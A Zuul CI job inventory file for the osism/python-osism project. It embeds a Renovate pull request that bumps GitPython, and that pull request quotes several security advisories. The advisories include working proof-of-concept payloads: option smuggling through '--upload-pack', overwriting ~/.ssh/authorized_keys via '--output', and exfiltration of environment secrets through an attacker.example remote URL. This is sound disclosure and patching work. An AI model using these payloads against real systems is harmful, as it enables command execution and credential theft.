all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fedd:cc8e
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      docker_image: frontend
      docker_namespace: osism
      docker_registry: osism.harbor.regio.digital
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: 0d120665-b50e-4733-8729-5dc146f2f85c
        host_id: 7f2607eceb24f4583c6f9496c53c64b51afe50de5eacda4379b21c42
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fedd:cc8e
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.0.108
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.193.157
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fedd:cc8e
        region: null
        slot: null
      repository: osism/osism
  vars:
    docker_image: frontend
    docker_namespace: osism
    docker_registry: osism.harbor.regio.digital
    repository: osism/osism
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job container-image-python-osism-frontend-build explicit: None implied:
        {MatchAny:{ImpliedBranchMatcher:main}} source: osism/python-osism/.zuul.yaml@main#87>'
      - '<Job container-image-python-osism-frontend-build explicit: None implied:
        None source: osism/python-osism/.zuul.yaml@main#143>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 6ad3ae79395249d8830cd02501a2d77c
      build_refs:
      - branch: main
        change: '2517'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n### GitPython: Incomplete unsafe_git_clone_options denylist
          omits --template enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
          Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options`
          anywhere in the method (grep-confirmed). Additionally `diff.py:265` does
          `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE
          the `--` separator, so a value of `--output=/path` is parsed by git as an
          option \u2014 a value-only control path requiring no kwarg key.\n\n#####
          Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen
          path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real
          diff/patch bytes (attacker-influenced). Per the skill's rule, controlling
          WHICH file is overwritten = I:H regardless of content constraints.\n\n#####
          Proof of Concept\n```python\n\n##### Key-control:\ncommit.diff(other_commit,
          output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff
          (105 bytes verified)\n\n##### Value-control (attacker controls only the
          ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')
          \         # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n#####
          Attack Chain\n1. Entry (value-control): `commit.diff(other=<user ref>)`
          with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none
          in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method
          body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree
          <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates
          the target then writes diff content. Impact: overwrite/corrupt any file
          at process privilege (attacker chooses the path). Verified argv and victim
          overwrite live.\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          both key-control (`output=`) and value-control (`other='--output=...'`)
          overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`.
          This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')`
          \u2014 but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `check_unsafe_options`
          to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options`
          before the `other` ref so it cannot be parsed as an option.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe git option guard bypass via single-character kwarg value
          token smuggling enables arbitrary command execution\n[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `check_unsafe_options`
          guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened
          since) can be bypassed for **every** guarded method (`clone`/`clone_from`,
          `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`)
          by smuggling an option token inside the VALUE of a single-character kwarg.
          In the default `allow_unsafe_options=False` configuration this yields arbitrary
          command execution via `--upload-pack`.\n\n##### Root Cause\nThe guard builds
          its candidate option list from kwarg KEYS only: `_option_candidates([],
          {\"n\":\"--upload-pack=<cmd>\"})` returns `['-n']` (cmd.py:1042-1046 derives
          the candidate from the key, never the value). `-n` is not on the denylist,
          so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)`
          (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`.
          git then parses the second token as `--upload-pack` and executes the attacker-supplied
          command. The guard never inspects the value that becomes a separate argv
          token.\n\n##### Impact\nArbitrary OS command execution as the host process
          (via `--upload-pack`) in the default configuration, affecting all guarded
          methods since they all build candidates through the name-only `_option_candidates`.\n\n#####
          Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo,
          out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n\n##### /tmp/ACE
          created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write
          variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')`
          -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file
          truncated.\n\n##### Attack Chain\n1. Entry: app forwards a user-supplied
          options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`.
          Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)`
          at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})`
          -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified
          live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)`
          -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none
          (guard already passed on name-only candidate). Bypass proof: verified transform
          emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack'
          -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker
          created, verified end-to-end).\n\n##### Bypass Evidence\nLive-verified on
          HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`;
          `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from
          with the payload created the marker file; the direct-name `upload_pack=`
          form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore
          key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option,
          GHSA-x2qx multi-before-split) are BLOCKED on HEAD \u2014 this is a distinct
          kwarg-value->separate-token vector.\n\n##### Affected Versions\n`<= 3.1.53`\n\n#####
          Suggested Fix\nMake `_option_candidates` also emit candidates derived from
          single-character kwarg VALUES when `split_single_char_options` is in effect,
          OR run `check_unsafe_options` over the fully-transformed argv rather than
          the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)**
          \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS Score: 8.8 / 10
          (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via Repo.create_remote() /
          Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)\n[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)
          stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`,
          but it guarded only that one caller. `Remote.create()` \u2014 reached from
          the public `Repo.create_remote()` and its `Remote.add()` alias \u2014 still
          passes an attacker-influenceable URL through `Git.polish_url()` with the
          default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git`
          is expanded server-side to embed the hosting process's environment secret,
          written into `.git/config`, and then transmitted to the attacker's host
          on the next `fetch`/`pull`. This is the same primitive and same \"import
          repository from URL\" threat model the advisory describes, via the sibling
          caller the fix missed.\n\n##### Root Cause\n\nFix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)
          added an `expand_vars` parameter to `Git.polish_url()` (default `True`)
          and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)).
          The shared helper's dangerous default was left in place, and the other callers
          were not updated.\n\n[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811),
          `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 #
          expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)       # https:// carrying the secret
          passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded
          URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after*
          expansion here, so it rejects an `ext::` payload but does nothing about
          an `https://` URL that carries an expanded secret in its path or host \u2014
          the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611)
          (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked
          file) and `.git/config`.\n\n##### Steps to Reproduce\n\n##### Prerequisites\n\n-
          Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53
          (installed below)\n\n##### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir
          /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip
          install gitpython==3.1.53\n```\n\n##### Step 2: Write the PoC\n\n```bash\ncat
          > poc.py <<'PYEOF'\n\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration
          via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport
          os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython
          version:\", git.__version__)\n\n##### Sentinel standing in for a process
          secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"]
          = SENTINEL\n\n##### Local HTTP server standing in for attacker.example.\ncaptured
          = []\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n
          \       captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n
          \   def log_message(self, *a):\n        pass\n\nsrv = http.server.HTTPServer((\"127.0.0.1\",
          0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever,
          daemon=True).start()\n\n##### Attacker-controlled URL handed to an \"import
          from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\"
          % port\n\ndef norm(s):  # display the ephemeral listener port as a stable
          placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\nprint(\"attacker-supplied
          URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote
          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/python-osism).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/python-osism/pull/2517
        commit_id: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        patchset: cb3246bd3a214c3cf30cc56f53059d4b457a9af7
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/python-osism
          name: osism/python-osism
          short_name: python-osism
        src_dir: src/github.com/osism/python-osism
        topic: null
      buildset: e0a3739734fb40b8a37168ba067c95e6
      buildset_refs:
      - branch: main
        change: '2517'
        change_message: "Update dependency GitPython to v3.1.55 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.53` \u2192 `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true)
          |\n\n---\n\n### GitPython: Incomplete unsafe_git_clone_options denylist
          omits --template enabling arbitrary command execution via clone hooks\n[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython's `unsafe_git_clone_options`
          denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/`
          into the new repository and runs them (`post-checkout` fires during clone),
          so a caller who can influence clone options can achieve arbitrary command
          execution in the default `allow_unsafe_options=False` configuration.\n\n#####
          Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]`
          \u2014 `--template` is absent. The guard candidate `['--template']` passes
          `check_unsafe_options` (verified). git copies the hook directory and executes
          `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL`
          do not gate `--template`; the incomplete denylist is the only defense.\n\n#####
          Impact\nArbitrary OS command execution during clone (default config). Requires
          an attacker-readable directory containing an executable hook \u2014 a genuine
          second precondition (realistic via shared filesystems, upload dirs, `/tmp`,
          or attacker-writable network paths), reflected as AC:H.\n\n##### Proof of
          Concept\n```python\n\n##### attacker stages <dir>/hooks/post-checkout (chmod
          +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   #
          post-checkout hook executes -> marker created (verified)\n```\n\n##### Attack
          Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x).
          Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`.
          Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`.
          Bypass proof: `--template` not on the denylist -> passes (verified candidate
          `['--template']`, no error).\n3. Sink: git copies the hook and executes
          `post-checkout` at checkout. Impact: ACE, default config (verified marker
          created).\n\n##### Bypass Evidence\nLive-verified on HEAD (tag 3.1.53):
          guard candidate `['--template']` passed with no error; staged `post-checkout`
          hook executed during `clone_from`, creating the marker. Independent of the
          value-smuggle bypass (`--template` is a legitimate long option that survives
          any single-char-value fix). Not covered by any existing advisory.\n\n#####
          Affected Versions\n`<= 3.1.53`\n\n##### Suggested Fix\nAdd `--template`
          (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported
          by **zx (Jace)** \u2014 GitHub: @&#8203;manus-use\n\n#### Severity\n- CVSS
          Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n-
          [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Arbitrary file overwrite via git diff --output argument injection
          in Diffable.diff (key- and value-controlled)\n[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Diffable.diff()`
          forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options`
          guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`,
          giving a broad surface. `git diff --output=<path>` writes real patch content
          to an attacker-chosen path, enabling arbitrary file overwrite.\n\n#####
